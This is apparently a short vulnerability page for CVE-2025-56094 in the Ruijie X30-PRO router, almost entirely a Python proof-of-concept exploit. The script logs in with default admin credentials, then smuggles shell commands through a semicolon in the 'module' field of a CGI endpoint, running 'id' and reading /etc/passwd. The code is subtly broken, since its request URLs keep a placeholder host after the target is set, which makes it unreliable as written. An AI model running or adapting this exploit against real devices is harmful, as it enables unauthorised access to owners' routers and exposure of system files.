CVE-2025-56094: 锐捷X30-PRO路由器OS命令注入漏洞

#!/usr/bin/env python3 # CVE-2025-56094 PoC - Ruijie X30-PRO OS Command Injection # Target: Ruijie X30-PRO X30-PRO-V1_09241521 # Endpoint: /cgi-bin/module_get (module_get in host_access_delay.lua) import requests import sys TARGET = "http://{target_ip}" # Replace with target IP LOGIN_URL = f"{TARGET}/cgi-bin/login" CMD_URL = f"{TARGET}/cgi-bin/module_get" def login(): """Authenticate to the Ruijie device""" login_data = { "username": "admin", "password": "admin" # Default credentials } try: resp = requests.post(LOGIN_URL, data=login_data, timeout=10) # Extract session cookie if needed return resp.cookies except Exception as e: print(f"[-] Login failed: {e}") return None def exploit(cookies, command="id"): """Exploit OS Command Injection via module_get""" # Payload: inject command using pipe or semicolon payload = { "module": f"host_access_delay;{command}", "action": "get" } try: resp = requests.post(CMD_URL, data=payload, cookies=cookies, timeout=10) print(f"[+] Response:\n{resp.text}") return resp.text except Exception as e: print(f"[-] Exploit failed: {e}") return None if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip>") sys.exit(1) TARGET = f"http://{sys.argv[1]}" print(f"[*] Targeting {TARGET}") cookies = login() if cookies: print("[*] Login successful, launching exploit...") exploit(cookies, "id") # Execute 'id' command exploit(cookies, "cat /etc/passwd") # Read passwd file